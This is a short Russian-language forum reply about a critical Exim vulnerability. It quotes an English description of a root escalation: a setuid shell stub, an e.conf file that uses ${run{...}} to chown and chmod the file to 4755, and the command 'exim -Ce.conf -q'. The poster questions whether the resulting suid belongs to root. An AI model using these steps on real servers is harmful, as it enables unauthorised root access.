Исходное сообщение
"В Exim обнаружена критическая уязвимость, позволяющая получи..." Отправлено pvg, 09-Дек-10 22:32
>after that attacker gets shell with id of user Debian-exim and cwd >in /var/spool/exim4 ?then it put file there file setuid with trivial execution of root shell: >[оверквотинг удален] >execl("/bin/sh", "sh", NULL); >} > >and create another file e.conf with following content: >spool_directory = ${run{/bin/chown >root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4>/setuid}} >the he runs: >exim -Ce.conf -q >and gets suid bit on /var/spool/exim4/setuid >everything else is trivial. suid да но от exim , а не от root я